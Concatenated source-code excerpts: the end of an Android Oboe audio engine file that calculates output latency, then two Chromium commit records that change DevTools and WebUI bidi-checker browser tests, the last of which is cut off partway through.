Trace::endSection();
return oboe::DataCallbackResult::Continue;
}
/**
* Calculate the current latency between writing a frame to the output stream and
* the same frame being presented to the audio hardware.
*
* Here's how the calculation works:
*
* 1) Get the time a particular frame was presented to the audio hardware
* @see AudioStream::getTimestamp
* 2) From this extrapolate the time which the *next* audio frame written to the stream
* will be presented
* 3) Assume that the next audio frame is written at the current time
* 4) currentLatency = nextFramePresentationTime - nextFrameWriteTime
*
* @param stream The stream being written to
* @param latencyMillis pointer to a variable to receive the latency in milliseconds between
* writing a frame to the stream and that frame being presented to the audio hardware.
* @return oboe::Result::OK or a oboe::Result::Error* value. It is normal to receive an error soon
* after a stream has started because the timestamps are not yet available.
*/
oboe::Result
PlayAudioEngine::calculateCurrentOutputLatencyMillis(oboe::AudioStream *stream, double *latencyMillis) {
// Get the time that a known audio frame was presented for playing
int64_t existingFrameIndex;
int64_t existingFramePresentationTime;
oboe::Result result = stream->getTimestamp(CLOCK_MONOTONIC,
&existingFrameIndex,
&existingFramePresentationTime);
if (result == oboe::Result::OK) {
// Get the write index for the next audio frame
int64_t writeIndex = stream->getFramesWritten();
// Calculate the number of frames between our known frame and the write index
int64_t frameIndexDelta = writeIndex - existingFrameIndex;
// Calculate the time which the next frame will be presented
int64_t frameTimeDelta = (frameIndexDelta * oboe::kNanosPerSecond) / mSampleRate;
int64_t nextFramePresentationTime = existingFramePresentationTime + frameTimeDelta;
// Assume that the next frame will be written at the current time
int64_t nextFrameWriteTime = oboe::AudioClock::getNanoseconds(CLOCK_MONOTONIC);
// Calculate the latency
*latencyMillis = (double) (nextFramePresentationTime - nextFrameWriteTime)
/ kNanosPerMillisecond;
} else {
LOGE("Error calculating latency: %s", oboe::convertToText(result));
}
return result;
}
/**
* If there is an error with a stream this function will be called. A common example of an error
* is when an audio device (such as headphones) is disconnected. It is safe to restart the stream
* in this method. There is no need to create a new thread.
*
* @param audioStream the stream with the error
* @param error the error which occured, a human readable string can be obtained using
* oboe::convertToText(error);
*
* @see oboe::StreamCallback
*/
void PlayAudioEngine::onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) {
if (error == oboe::Result::ErrorDisconnected) restartStream();
}
void PlayAudioEngine::restartStream() {
LOGI("Restarting stream");
if (mRestartingLock.try_lock()) {
closeOutputStream();
createPlaybackStream();
mRestartingLock.unlock();
} else {
LOGW("Restart stream operation already in progress - ignoring this request");
// We were unable to obtain the restarting lock which means the restart operation is currently
// active. This is probably because we received successive "stream disconnected" events.
// Internal issue b/63087953
}
}
double PlayAudioEngine::getCurrentOutputLatencyMillis() {
return mCurrentOutputLatencyMillis;
}
void PlayAudioEngine::setBufferSizeInBursts(int32_t numBursts) {
mBufferSizeSelection = numBursts;
}
bool PlayAudioEngine::isLatencyDetectionSupported() {
return mIsLatencyDetectionSupported;
}
<|endoftext|>
|
<commit_before>// Copyright (c) 2009 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/command_line.h"
#include "chrome/browser/browser.h"
#include "chrome/browser/debugger/devtools_client_host.h"
#include "chrome/browser/debugger/devtools_manager.h"
#include "chrome/browser/debugger/devtools_window.h"
#include "chrome/browser/renderer_host/render_view_host.h"
#include "chrome/browser/tab_contents/tab_contents.h"
#include "chrome/common/chrome_switches.h"
#include "chrome/common/notification_registrar.h"
#include "chrome/common/notification_service.h"
#include "chrome/test/in_process_browser_test.h"
#include "chrome/test/ui_test_utils.h"
namespace {
// Used to block until a dev tools client window's browser is closed.
class BrowserClosedObserver : public NotificationObserver {
public:
BrowserClosedObserver(Browser* browser) {
registrar_.Add(this, NotificationType::BROWSER_CLOSED,
Source<Browser>(browser));
ui_test_utils::RunMessageLoop();
}
virtual void Observe(NotificationType type,
const NotificationSource& source,
const NotificationDetails& details) {
MessageLoopForUI::current()->Quit();
}
private:
NotificationRegistrar registrar_;
DISALLOW_COPY_AND_ASSIGN(BrowserClosedObserver);
};
// The delay waited in some cases where we don't have a notifications for an
// action we take.
const int kActionDelayMs = 500;
const wchar_t kConsoleTestPage[] = L"files/devtools/console_test_page.html";
const wchar_t kDebuggerTestPage[] = L"files/devtools/debugger_test_page.html";
const wchar_t kEvalTestPage[] = L"files/devtools/eval_test_page.html";
const wchar_t kJsPage[] = L"files/devtools/js_page.html";
const wchar_t kResourceTestPage[] = L"files/devtools/resource_test_page.html";
const wchar_t kSimplePage[] = L"files/devtools/simple_page.html";
const wchar_t kSyntaxErrorTestPage[] =
L"files/devtools/script_syntax_error.html";
const wchar_t kDebuggerStepTestPage[] =
L"files/devtools/debugger_step.html";
const wchar_t kDebuggerClosurePage[] =
L"files/devtools/debugger_closure.html";
class DevToolsSanityTest : public InProcessBrowserTest {
public:
DevToolsSanityTest() {
set_show_window(true);
EnableDOMAutomation();
}
protected:
void RunTest(const std::string& test_name, const std::wstring& test_page) {
OpenDevToolsWindow(test_page);
std::string result;
// At first check that JavaScript part of the front-end is loaded by
// checking that global variable uiTests exists(it's created after all js
// files have been loaded) and has runTest method.
ASSERT_TRUE(
ui_test_utils::ExecuteJavaScriptAndExtractString(
client_contents_->render_view_host(),
L"",
L"window.domAutomationController.send("
L"'' + (window.uiTests && (typeof uiTests.runTest)));",
&result));
if (result == "function") {
ASSERT_TRUE(
ui_test_utils::ExecuteJavaScriptAndExtractString(
client_contents_->render_view_host(),
L"",
UTF8ToWide(StringPrintf("uiTests.runTest('%s')",
test_name.c_str())),
&result));
EXPECT_EQ("[OK]", result);
} else {
FAIL() << "DevTools front-end is broken.";
}
CloseDevToolsWindow();
}
void OpenDevToolsWindow(const std::wstring& test_page) {
HTTPTestServer* server = StartHTTPServer();
GURL url = server->TestServerPageW(test_page);
ui_test_utils::NavigateToURL(browser(), url);
TabContents* tab = browser()->GetTabContentsAt(0);
inspected_rvh_ = tab->render_view_host();
DevToolsManager* devtools_manager = DevToolsManager::GetInstance();
devtools_manager->OpenDevToolsWindow(inspected_rvh_);
DevToolsClientHost* client_host =
devtools_manager->GetDevToolsClientHostFor(inspected_rvh_);
window_ = client_host->AsDevToolsWindow();
RenderViewHost* client_rvh = window_->GetRenderViewHost();
client_contents_ = client_rvh->delegate()->GetAsTabContents();
ui_test_utils::WaitForNavigation(&client_contents_->controller());
}
void CloseDevToolsWindow() {
DevToolsManager* devtools_manager = DevToolsManager::GetInstance();
// UnregisterDevToolsClientHostFor may destroy window_ so store the browser
// first.
Browser* browser = window_->browser();
devtools_manager->UnregisterDevToolsClientHostFor(inspected_rvh_);
BrowserClosedObserver close_observer(browser);
}
TabContents* client_contents_;
DevToolsWindow* window_;
RenderViewHost* inspected_rvh_;
};
// WebInspector opens.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, TestHostIsPresent) {
RunTest("testHostIsPresent", kSimplePage);
}
// Tests elements panel basics.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestElementsTreeRoot) {
RunTest("testElementsTreeRoot", kSimplePage);
}
// Tests main resource load.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestMainResource) {
RunTest("testMainResource", kSimplePage);
}
// Tests resources panel enabling.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestEnableResourcesTab) {
RunTest("testEnableResourcesTab", kSimplePage);
}
// Tests resource headers.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestResourceHeaders) {
RunTest("testResourceHeaders", kResourceTestPage);
}
// Tests profiler panel.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestProfilerTab) {
RunTest("testProfilerTab", kJsPage);
}
// Tests scripts panel showing.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestShowScriptsTab) {
RunTest("testShowScriptsTab", kDebuggerTestPage);
}
// Tests that scripts are not duplicated after Scripts Panel switch.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest,
DISABLED_TestNoScriptDuplicatesOnPanelSwitch) {
RunTest("testNoScriptDuplicatesOnPanelSwitch", kDebuggerTestPage);
}
// Tests set breakpoint.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestSetBreakpoint) {
RunTest("testSetBreakpoint", kDebuggerTestPage);
}
// Tests eval on call frame.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestEvalOnCallFrame) {
RunTest("testEvalOnCallFrame", kDebuggerTestPage);
}
// Tests step over functionality in the debugger.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestStepOver) {
RunTest("testStepOver", kDebuggerStepTestPage);
}
// Tests step out functionality in the debugger.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestStepOut) {
RunTest("testStepOut", kDebuggerStepTestPage);
}
// Tests step in functionality in the debugger.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestStepIn) {
RunTest("testStepIn", kDebuggerStepTestPage);
}
// Tests that scope can be expanded and contains expected variables.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestExpandScope) {
RunTest("testExpandScope", kDebuggerClosurePage);
}
// Tests that execution continues automatically when there is a syntax error in
// script and DevTools are open.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestAutoContinueOnSyntaxError) {
RunTest("testAutoContinueOnSyntaxError", kSyntaxErrorTestPage);
}
// Tests that 'Pause' button works for eval.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestPauseInEval) {
RunTest("testPauseInEval", kDebuggerTestPage);
}
// Tests console eval.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestConsoleEval) {
RunTest("testConsoleEval", kConsoleTestPage);
}
// Tests console log.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestConsoleLog) {
RunTest("testConsoleLog", kConsoleTestPage);
}
// Tests eval global values.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestEvalGlobal) {
RunTest("testEvalGlobal", kEvalTestPage);
}
} // namespace
<commit_msg>Disable a Dev Tools test that got missed.<commit_after>// Copyright (c) 2009 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/command_line.h"
#include "chrome/browser/browser.h"
#include "chrome/browser/debugger/devtools_client_host.h"
#include "chrome/browser/debugger/devtools_manager.h"
#include "chrome/browser/debugger/devtools_window.h"
#include "chrome/browser/renderer_host/render_view_host.h"
#include "chrome/browser/tab_contents/tab_contents.h"
#include "chrome/common/chrome_switches.h"
#include "chrome/common/notification_registrar.h"
#include "chrome/common/notification_service.h"
#include "chrome/test/in_process_browser_test.h"
#include "chrome/test/ui_test_utils.h"
namespace {
// Used to block until a dev tools client window's browser is closed.
class BrowserClosedObserver : public NotificationObserver {
public:
BrowserClosedObserver(Browser* browser) {
registrar_.Add(this, NotificationType::BROWSER_CLOSED,
Source<Browser>(browser));
ui_test_utils::RunMessageLoop();
}
virtual void Observe(NotificationType type,
const NotificationSource& source,
const NotificationDetails& details) {
MessageLoopForUI::current()->Quit();
}
private:
NotificationRegistrar registrar_;
DISALLOW_COPY_AND_ASSIGN(BrowserClosedObserver);
};
// The delay waited in some cases where we don't have a notifications for an
// action we take.
const int kActionDelayMs = 500;
const wchar_t kConsoleTestPage[] = L"files/devtools/console_test_page.html";
const wchar_t kDebuggerTestPage[] = L"files/devtools/debugger_test_page.html";
const wchar_t kEvalTestPage[] = L"files/devtools/eval_test_page.html";
const wchar_t kJsPage[] = L"files/devtools/js_page.html";
const wchar_t kResourceTestPage[] = L"files/devtools/resource_test_page.html";
const wchar_t kSimplePage[] = L"files/devtools/simple_page.html";
const wchar_t kSyntaxErrorTestPage[] =
L"files/devtools/script_syntax_error.html";
const wchar_t kDebuggerStepTestPage[] =
L"files/devtools/debugger_step.html";
const wchar_t kDebuggerClosurePage[] =
L"files/devtools/debugger_closure.html";
class DevToolsSanityTest : public InProcessBrowserTest {
public:
DevToolsSanityTest() {
set_show_window(true);
EnableDOMAutomation();
}
protected:
void RunTest(const std::string& test_name, const std::wstring& test_page) {
OpenDevToolsWindow(test_page);
std::string result;
// At first check that JavaScript part of the front-end is loaded by
// checking that global variable uiTests exists(it's created after all js
// files have been loaded) and has runTest method.
ASSERT_TRUE(
ui_test_utils::ExecuteJavaScriptAndExtractString(
client_contents_->render_view_host(),
L"",
L"window.domAutomationController.send("
L"'' + (window.uiTests && (typeof uiTests.runTest)));",
&result));
if (result == "function") {
ASSERT_TRUE(
ui_test_utils::ExecuteJavaScriptAndExtractString(
client_contents_->render_view_host(),
L"",
UTF8ToWide(StringPrintf("uiTests.runTest('%s')",
test_name.c_str())),
&result));
EXPECT_EQ("[OK]", result);
} else {
FAIL() << "DevTools front-end is broken.";
}
CloseDevToolsWindow();
}
void OpenDevToolsWindow(const std::wstring& test_page) {
HTTPTestServer* server = StartHTTPServer();
GURL url = server->TestServerPageW(test_page);
ui_test_utils::NavigateToURL(browser(), url);
TabContents* tab = browser()->GetTabContentsAt(0);
inspected_rvh_ = tab->render_view_host();
DevToolsManager* devtools_manager = DevToolsManager::GetInstance();
devtools_manager->OpenDevToolsWindow(inspected_rvh_);
DevToolsClientHost* client_host =
devtools_manager->GetDevToolsClientHostFor(inspected_rvh_);
window_ = client_host->AsDevToolsWindow();
RenderViewHost* client_rvh = window_->GetRenderViewHost();
client_contents_ = client_rvh->delegate()->GetAsTabContents();
ui_test_utils::WaitForNavigation(&client_contents_->controller());
}
void CloseDevToolsWindow() {
DevToolsManager* devtools_manager = DevToolsManager::GetInstance();
// UnregisterDevToolsClientHostFor may destroy window_ so store the browser
// first.
Browser* browser = window_->browser();
devtools_manager->UnregisterDevToolsClientHostFor(inspected_rvh_);
BrowserClosedObserver close_observer(browser);
}
TabContents* client_contents_;
DevToolsWindow* window_;
RenderViewHost* inspected_rvh_;
};
// WebInspector opens.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestHostIsPresent) {
RunTest("testHostIsPresent", kSimplePage);
}
// Tests elements panel basics.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestElementsTreeRoot) {
RunTest("testElementsTreeRoot", kSimplePage);
}
// Tests main resource load.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestMainResource) {
RunTest("testMainResource", kSimplePage);
}
// Tests resources panel enabling.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestEnableResourcesTab) {
RunTest("testEnableResourcesTab", kSimplePage);
}
// Tests resource headers.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestResourceHeaders) {
RunTest("testResourceHeaders", kResourceTestPage);
}
// Tests profiler panel.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestProfilerTab) {
RunTest("testProfilerTab", kJsPage);
}
// Tests scripts panel showing.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestShowScriptsTab) {
RunTest("testShowScriptsTab", kDebuggerTestPage);
}
// Tests that scripts are not duplicated after Scripts Panel switch.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest,
DISABLED_TestNoScriptDuplicatesOnPanelSwitch) {
RunTest("testNoScriptDuplicatesOnPanelSwitch", kDebuggerTestPage);
}
// Tests set breakpoint.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestSetBreakpoint) {
RunTest("testSetBreakpoint", kDebuggerTestPage);
}
// Tests eval on call frame.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestEvalOnCallFrame) {
RunTest("testEvalOnCallFrame", kDebuggerTestPage);
}
// Tests step over functionality in the debugger.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestStepOver) {
RunTest("testStepOver", kDebuggerStepTestPage);
}
// Tests step out functionality in the debugger.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestStepOut) {
RunTest("testStepOut", kDebuggerStepTestPage);
}
// Tests step in functionality in the debugger.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestStepIn) {
RunTest("testStepIn", kDebuggerStepTestPage);
}
// Tests that scope can be expanded and contains expected variables.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestExpandScope) {
RunTest("testExpandScope", kDebuggerClosurePage);
}
// Tests that execution continues automatically when there is a syntax error in
// script and DevTools are open.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestAutoContinueOnSyntaxError) {
RunTest("testAutoContinueOnSyntaxError", kSyntaxErrorTestPage);
}
// Tests that 'Pause' button works for eval.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestPauseInEval) {
RunTest("testPauseInEval", kDebuggerTestPage);
}
// Tests console eval.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestConsoleEval) {
RunTest("testConsoleEval", kConsoleTestPage);
}
// Tests console log.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestConsoleLog) {
RunTest("testConsoleLog", kConsoleTestPage);
}
// Tests eval global values.
IN_PROC_BROWSER_TEST_F(DevToolsSanityTest, DISABLED_TestEvalGlobal) {
RunTest("testEvalGlobal", kEvalTestPage);
}
} // namespace
<|endoftext|>
|
<commit_before>// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ui/webui/bidi_checker_web_ui_test.h"
#include "base/base_paths.h"
#include "base/i18n/rtl.h"
#include "base/path_service.h"
#include "base/utf_string_conversions.h"
#include "base/values.h"
#include "chrome/browser/autofill/autofill_common_test.h"
#include "chrome/browser/autofill/autofill_profile.h"
#include "chrome/browser/autofill/personal_data_manager.h"
#include "chrome/browser/autofill/personal_data_manager_factory.h"
#include "chrome/browser/history/history.h"
#include "chrome/browser/profiles/profile.h"
#include "chrome/browser/ui/browser.h"
#include "chrome/common/url_constants.h"
#include "chrome/test/base/ui_test_utils.h"
#include "ui/base/resource/resource_bundle.h"
#if defined(OS_POSIX) && defined(TOOLKIT_USES_GTK)
#include <gtk/gtk.h>
#endif
// These tests are failing on linux views build. crbug.com/96891
#if defined(TOOLKIT_VIEWS) && defined(OS_LINUX) && !defined(OS_CHROMEOS)
#define MAYBE_TestCrashesPageRTL DISABLED_TestCrashesPageRTL
#define MAYBE_TestDownloadsPageRTL DISABLED_TestDownloadsPageRTL
#define MAYBE_TestMainHistoryPageRTL DISABLED_TestMainHistoryPageRTL
#define MAYBE_TestNewTabPageRTL DISABLED_TestNewTabPageRTL
#define MAYBE_TestPluginsPageRTL DISABLED_TestPluginsPageRTL
#define MAYBE_TestSettingsAutofillPageRTL DISABLED_TestSettingsAutofillPageRTL
#define MAYBE_TestSettingsPageRTL DISABLED_TestSettingsPageRTL
#else
#define MAYBE_TestCrashesPageRTL TestCrashesPageRTL
#define MAYBE_TestDownloadsPageRTL TestDownloadsPageRTL
#define MAYBE_TestMainHistoryPageRTL TestMainHistoryPageRTL
// Disabled, http://crbug.com/97453
#define MAYBE_TestNewTabPageRTL DISABLED_TestNewTabPageRTL
#define MAYBE_TestPluginsPageRTL TestPluginsPageRTL
#define MAYBE_TestSettingsAutofillPageRTL TestSettingsAutofillPageRTL
#define MAYBE_TestSettingsPageRTL TestSettingsPageRTL
#endif
static const FilePath::CharType* kWebUIBidiCheckerLibraryJS =
FILE_PATH_LITERAL("third_party/bidichecker/bidichecker_packaged.js");
namespace {
FilePath WebUIBidiCheckerLibraryJSPath() {
FilePath src_root;
if (!PathService::Get(base::DIR_SOURCE_ROOT, &src_root))
LOG(ERROR) << "Couldn't find source root";
return src_root.Append(kWebUIBidiCheckerLibraryJS);
}
}
static const FilePath::CharType* kBidiCheckerTestsJS =
FILE_PATH_LITERAL("bidichecker_tests.js");
WebUIBidiCheckerBrowserTest::~WebUIBidiCheckerBrowserTest() {}
WebUIBidiCheckerBrowserTest::WebUIBidiCheckerBrowserTest() {}
void WebUIBidiCheckerBrowserTest::SetUpInProcessBrowserTestFixture() {
WebUIBrowserTest::SetUpInProcessBrowserTestFixture();
WebUIBrowserTest::AddLibrary(WebUIBidiCheckerLibraryJSPath());
WebUIBrowserTest::AddLibrary(FilePath(kBidiCheckerTestsJS));
}
void WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(const char pageURL[],
bool isRTL) {
ui_test_utils::NavigateToURL(browser(), GURL(pageURL));
ASSERT_TRUE(RunJavascriptTest("runBidiChecker",
Value::CreateStringValue(pageURL),
Value::CreateBooleanValue(isRTL)));
}
// WebUIBidiCheckerBrowserTestFakeBidi
WebUIBidiCheckerBrowserTestFakeBidi::~WebUIBidiCheckerBrowserTestFakeBidi() {}
WebUIBidiCheckerBrowserTestFakeBidi::WebUIBidiCheckerBrowserTestFakeBidi() {}
void WebUIBidiCheckerBrowserTestFakeBidi::SetUpOnMainThread() {
WebUIBidiCheckerBrowserTest::SetUpOnMainThread();
FilePath pak_path;
app_locale_ = base::i18n::GetConfiguredLocale();
ASSERT_TRUE(PathService::Get(base::FILE_MODULE, &pak_path));
pak_path = pak_path.DirName();
pak_path = pak_path.AppendASCII("pseudo_locales");
pak_path = pak_path.AppendASCII("fake-bidi");
pak_path = pak_path.ReplaceExtension(FILE_PATH_LITERAL("pak"));
ResourceBundle::GetSharedInstance().OverrideLocalePakForTest(pak_path);
ResourceBundle::ReloadSharedInstance("he");
#if defined(OS_POSIX) && defined(TOOLKIT_USES_GTK)
gtk_widget_set_default_direction(GTK_TEXT_DIR_RTL);
#endif
}
void WebUIBidiCheckerBrowserTestFakeBidi::CleanUpOnMainThread() {
WebUIBidiCheckerBrowserTest::CleanUpOnMainThread();
#if defined(OS_POSIX) && defined(TOOLKIT_USES_GTK)
gtk_widget_set_default_direction(GTK_TEXT_DIR_LTR);
#endif
ResourceBundle::GetSharedInstance().OverrideLocalePakForTest(FilePath());
ResourceBundle::ReloadSharedInstance(app_locale_);
}
// Tests
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestMainHistoryPageLTR) {
HistoryService* history_service =
browser()->profile()->GetHistoryService(Profile::IMPLICIT_ACCESS);
GURL history_url = GURL("http://www.ynet.co.il");
history_service->AddPage(history_url, history::SOURCE_BROWSED);
string16 title;
ASSERT_TRUE(UTF8ToUTF16("\xD7\x91\xD7\x93\xD7\x99\xD7\xA7\xD7\x94\x21",
12,
&title));
history_service->SetPageTitle(history_url, title);
RunBidiCheckerOnPage(chrome::kChromeUIHistoryURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
MAYBE_TestMainHistoryPageRTL) {
HistoryService* history_service =
browser()->profile()->GetHistoryService(Profile::IMPLICIT_ACCESS);
GURL history_url = GURL("http://www.google.com");
history_service->AddPage(history_url, history::SOURCE_BROWSED);
string16 title = UTF8ToUTF16("Google");
history_service->SetPageTitle(history_url, title);
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUIHistoryURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestAboutPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIAboutURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestBugReportPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIBugReportURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestCrashesPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUICrashesURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
MAYBE_TestCrashesPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUICrashesURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestDownloadsPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIDownloadsURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
MAYBE_TestDownloadsPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(
chrome::kChromeUIDownloadsURL, true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestNewTabPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUINewTabURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
MAYBE_TestNewTabPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUINewTabURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestPluginsPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUIPluginsURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
MAYBE_TestPluginsPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(chrome::kChromeUIPluginsURL,
true);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest, TestSettingsPageLTR) {
RunBidiCheckerOnPage(chrome::kChromeUISettingsURL, false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
MAYBE_TestSettingsPageRTL) {
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(
chrome::kChromeUISettingsURL, true);
}
#if defined(OS_MACOSX)
// http://crbug.com/94642
#define MAYBE_TestSettingsAutofillPageLTR FLAKY_TestSettingsAutofillPageLTR
#elif defined(OS_WIN)
// http://crbug.com/95425
#define MAYBE_TestSettingsAutofillPageLTR FAILS_TestSettingsAutofillPageLTR
#else
#define MAYBE_TestSettingsAutofillPageLTR TestSettingsAutofillPageLTR
#endif // defined(OS_MACOSX)
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTest,
MAYBE_TestSettingsAutofillPageLTR) {
std::string url(chrome::kChromeUISettingsURL);
url += std::string(chrome::kAutofillSubPage);
autofill_test::DisableSystemServices(browser()->profile());
AutofillProfile profile;
autofill_test::SetProfileInfo(
&profile,
"\xD7\x9E\xD7\xA9\xD7\x94",
"\xD7\x91",
"\xD7\x9B\xD7\x94\xD7\x9F",
"moshe.b.cohen@biditest.com",
"\xD7\x91\xD7\x93\xD7\x99\xD7\xA7\xD7\x94\x20\xD7\x91\xD7\xA2\xD7\x9E",
"\xD7\x93\xD7\xA8\xD7\x9A\x20\xD7\x9E\xD7\xA0\xD7\x97\xD7\x9D\x20\xD7\x91\xD7\x92\xD7\x99\xD7\x9F\x20\x32\x33",
"\xD7\xA7\xD7\x95\xD7\x9E\xD7\x94\x20\x32\x36",
"\xD7\xAA\xD7\x9C\x20\xD7\x90\xD7\x91\xD7\x99\xD7\x91",
"",
"66183",
"\xD7\x99\xD7\xA9\xD7\xA8\xD7\x90\xD7\x9C",
"0000");
PersonalDataManager* personal_data_manager =
PersonalDataManagerFactory::GetForProfile(browser()->profile());
ASSERT_TRUE(personal_data_manager);
personal_data_manager->AddProfile(profile);
RunBidiCheckerOnPage(url.c_str(), false);
}
IN_PROC_BROWSER_TEST_F(WebUIBidiCheckerBrowserTestFakeBidi,
MAYBE_TestSettingsAutofillPageRTL) {
std::string url(chrome::kChromeUISettingsURL);
url += std::string(chrome::kAutofillSubPage);
autofill_test::DisableSystemServices(browser()->profile());
AutofillProfile profile;
autofill_test::SetProfileInfo(
&profile,
"Milton",
"C.",
"Waddams",
"red.swingline@initech.com",
"Initech",
"4120 Freidrich Lane",
"Basement",
"Austin",
"Texas",
"78744",
"United States",
"5125551234");
PersonalDataManager* personal_data_manager =
PersonalDataManagerFactory::GetForProfile(browser()->profile());
ASSERT_TRUE(personal_data_manager);
personal_data_manager->AddProfile(profile);
WebUIBidiCheckerBrowserTest::RunBidiCheckerOnPage(url.c_str(), true);
}
<commit_msg>Fixing bidi checker issues on linux views.<commit_after>// Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ui/webui/bidi_checker_web_ui_test.h"
#include "base/base_paths.h"
#include "base/i18n/rtl.h"
#include "base/path_service.h"
#include "base/utf_string_conversions.h"
#include "base/values.h"
#include "chrome/browser/autofill/autofill_common_test.h"
#include "chrome/browser/autofill/autofill_profile.h"
#include "chrome/browser/autofill/personal_data_manager.h"
#include "chrome/browser/autofill/personal_data_manager_factory.h"
#include "chrome/browser/history/history.h"
#include "chrome/browser/profiles/profile.h"
#include "chrome/browser/ui/browser.h"
#include "chrome/common/url_constants.h"
#include "chrome/test/base/ui_test_utils.h"
#include "ui/base/resource/resource_bundle.h"
#if defined(OS_POSIX) && defined(TOOLKIT_USES_GTK)
#include <gtk/gtk.h>
#endif
static const FilePath::CharType* kWebUIBidiCheckerLibraryJS =
FILE_PATH_LITERAL("third_party/bidichecker/bidichecker_packaged.js");
namespace {
FilePath WebUIBidiCheckerLibraryJSPath() {
FilePath src_root;
if (!PathService::Get(base::DIR_SOURCE_ROOT, &src_root))
LOG(ERROR) << "Couldn't find source root";
return src_root.Append(kWebUIBidiCheckerLibraryJS);
}
}
static const FilePath::CharType* kBidiCheckerTestsJS =
FILE_PATH_LITERAL("bidichecker_tests.js");
WebUIBidiCheckerBrowserTest::~WebUIBidiCheckerBrowserTest() {}
WebUIBidiCheckerBrowserTest::WebUIBidiCheckerBrowserTest() {}
void WebUIBidiCheckerBrowserTest::SetUpInProcessBrowserTestFixture() {
WebUIBrowserTest::SetUpInProcessBrowserTestFixture();
